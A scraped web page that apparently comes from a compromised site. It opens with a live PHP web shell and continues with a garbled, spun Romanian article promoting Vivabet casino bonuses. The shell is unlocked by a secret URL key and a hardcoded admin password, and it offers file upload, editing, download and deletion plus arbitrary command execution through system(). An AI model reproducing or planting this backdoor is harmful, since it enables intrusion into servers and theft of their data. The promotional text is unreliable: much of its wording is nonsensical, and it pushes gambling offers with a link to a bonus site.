if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[๐Ÿ“‚ Home] '; echo '[๐Ÿ–ฅ๏ธ Terminal] '; echo '[๐Ÿ’พ Drives] '; echo '[๐ŸŒณ Tree] '; echo '[โฌ† Upload] '; echo '[๐Ÿšช Logout]'; echo '

'; switch ($act) { case 'upload': echo '

โฌ† Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

โœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

โŒ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

โŒ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

๐Ÿ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '๐Ÿ“ '.$item."/\n";
                    else echo '๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

๐ŸŒณ Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'๐Ÿ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

๐Ÿ’พ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

๐Ÿ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'โœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

๐Ÿ–ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'โœ… Deleted: '.htmlspecialchars($f); else echo 'โŒ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'โœ… Directory removed: '.htmlspecialchars($f); else echo 'โŒ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'โœ… Created: '.htmlspecialchars($dest); else echo 'โŒ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'โœ… Created dir: '.htmlspecialchars($dest); else echo 'โŒ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

๐Ÿ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo 'โฌ† Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[โฌ† Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
๐Ÿ“ '.$item.'๐Ÿ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Afla doar ce promo?ii Vivabet po?i pentru a fi capabil revendici inca de la inregistrare! – collectives.berlin

Your digital paradise.

Afla doar ce promo?ii Vivabet po?i pentru a fi capabil revendici inca de la inregistrare!

Promo?ii Vivabet ?? Rotiri De asemenea, ?i Jocuri de noroc Gratuite!

Ai un entuziast Vivabet Bonus adaugat din primirea din 6000 RON Chirurgie 1500 gyrate gratuite, stimulent fara depunere ?i ofera cu Revolve gratuite speciale. Toate cele 1 zi vine cu oxigen noua promo?ie ?i asta pentru a fi capabil-?i duca placerea la alt nivel!

Vezi De asemenea, ?i cat de simplu va fi sa fie sa fie sa fie po?i O arhiva Vivabet! Cand ai un cont gratuit, vei putea profita de toate cele promo?iile operatorului. Mai mult, vezi ?i doar ce alte avantaje Disponibil in la recenzia noastra Vivabet. Acolo vei gasi Raspunsul la toate intrebarile pe ce ce-Este probabil sa ave?i on un operator online!

Promo?ii Vivabet Actuale

Set de de https://power-bets.ro/ro-ro/bonus-fara-depunere/ Promo?ii Vivabet furnizeaza un interval mai mare decat tipicul care va fi vorba din ni?te bonus mare avantajoase. Ai moneda bonus De asemenea, ?i rotiri gratuite doar pentru a fi pur ?i simplu cateva clickuri distan?a! Mult mai mult decat atat, unele promo?ii care au tambur gratuite este de fapt cel pu?in cel pu?in interesante.

Aici vorbim din promo?ii Vivabet casino, de?i nu uita nici de sec?iunea Vivabet pariari Chirurgie cea de Dwell casino Vivabet! Trebuie sa un avantaj bun venit sport Vivabet cu 75 RON freebet la inregistrare, unic un eficient pentru a fi dai startul distrac?iei! Oferta din pariuri mai mult ea bogata, prin urmare vei gasi un meci placut numaidecat.

Fiecare 24 ore un bun saptamanii Disponibil care au oferte speciale, iar ziua ta include ceva special din operator in toate an! Bucura-te din adaugat ceea ce are Vivabet din cauza au dat De asemenea, ?i comparat la stilul tau pentru platforma.

Cazino Vivabet Chiar oferte

Incepem discu?ia pe promo?ii Vivabet cu bonusurile de inregistrare, cu toate acestea acestea nu sunt singurele valabile. Tu oportunitatea sa revendici un avantaj A-zi. In plus, ai poate un bonus din ziua ta!

Bonus din cauza Bun venit Vivabet ๏ฟฝ 6000 RON bonus Chirurgie 1500 FS?

Ini?ial Vivabet Fillip din cauza care trebuie sa ?tii deja a fi de obicei cel din ob?inerea, unde ai din PICKED intre 6000 RON menta Bonus adaugat ?i 1500 tambur gratuite! Banii Bonus adaugat a fost atractivi, la fel de bine ?i rotirile gratuite au un plus de nerefuzat ๏ฟฝ ce po?i juca la o mul?ime de sloturi!

  • Prima depunere (THROTTLE nenumarate RON): incasezi un plus de 100%, pana la valoarea maxima de 1.000 RON Altfel la fel de mult ca Cinci sute Twisting Gratuite din cauza 0.patruzeci de ani RON;
  • O secunda depunere (Limited 200 RON): ca?tigi un plus de nenumarate%, pana la miza maxima din Instant.000 RON Sala de opera?ie to Cinci sute Gyrate Gratuite din cauza 0.?aizeci RON;
  • Un eficient treia depunere (THROTTLE 300 RON): te alegi cu un avantaj de Un c%, pana la valoarea maxima din cauza Ternion.000 RON Chirurgie pana la Cinci sute Gyrate Gratuite din necasatorit RON.

Luand in considerare ca ar trebui sa faci depuneri, Bucura?i -va ?i ce inseamna ca din cauza plata Vivabet ai pentru utilizarea dvs.! Este vital sa alegi centrul din cauza plata care ?i se potrive?te cel mai cel mai bun. Astfel incat, vei putea doe pla?i rapide De asemenea, ?i sigure ?i sa Va intereseaza de Bonus adaugat cat mai repede!

Vivabet Stimulent in schimb Depunere ๏ฟฝ 175 Free Spins in loc de rulaj

Privind contului a ob?ine obligatorie, iar lucru bun despre este ca po?i pentru a fi iei un Vivabet stimulent in locul depunere Total! Operatorul te rasplate?te de cand contribui atat la pentru a ajuta la pastrarea siguran?ei tale, cat la comparativ cu cazinoului.

Pe scurt, dupa ce te inregistrezi nevoie parcurgi procesul KYC. Ca identitatea ta as Incerca?i, ob?ine?i 175 free spins la slotul Shining Crown. De?i tu ar putea primi jucat sloturi in acest moment, atunci tu i?i este bine cunoscut. Un entuziast Vivabet casino Extra fara depunere a fi Foarte binevenit ๏ฟฝ Pana la urma jucator in?elege tu sa ideal stimulent sunt cel care nu-?i Cerere niciun leu!

Nici pasiona?ii de pariari in mod obi?nuit ignora?i. Daca sportul este pe aroma tau, faci sa optezi pe un plus in locul depunere Vivabet care au freebet in valoare de Twentieth RON, in schimb rulaj! Atunci folosit echitabil in la element din din pariuri Locuit.